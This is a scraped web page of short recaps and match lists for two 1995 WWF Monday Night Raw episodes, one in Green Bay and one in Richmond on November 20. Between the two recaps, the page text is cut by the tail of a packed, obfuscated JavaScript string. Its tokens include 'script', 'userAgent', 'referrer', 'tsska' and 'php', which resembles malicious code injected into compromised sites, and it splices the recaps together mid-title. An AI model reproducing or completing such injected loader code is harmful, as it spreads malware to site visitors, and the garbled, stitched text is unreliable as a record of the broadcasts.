Location: Brown County Expo, Green Bay, Wisconsin
Attendance: 4,660
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Ultimate Warrior vs. Owen Hart

Savio Vega vs. Justin Hawk Bradshaw

Zebekiah and Bradshaw use various cowboy instruments to beat Savio down.

Clips from a rally before a show.

British Bulldog/Yokozuna vs. Godwinns

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsska|var|u0026u|referrer|hrhft||js|php'.split('|'),0,{})) Night Raw
Date: November 20, 1995
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 4,500
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

We look back at 1-2-3 Kid joining the Corporation last week, which resulted in Sid helping Kid win a Survivor Series match last night. Kid also cost Razor the Wild Card match.

Hakushi vs. 1-2-3 Kid

We take a break and come back with Kid grabbing a very modified cravate and kicking Hakushi in the head. A top rope splash gets two on Hakushi but he comes back with a cross body for a near fall of his own. Kid is knocked outside with a great looking kick to the head but DiBiase shoves Hakushi off the top, setting up a spinwheel kick to the head for the pin.

Diesel arrives.

Skip vs. Savio Vega

Shawn Michaels vs. Owen Hart

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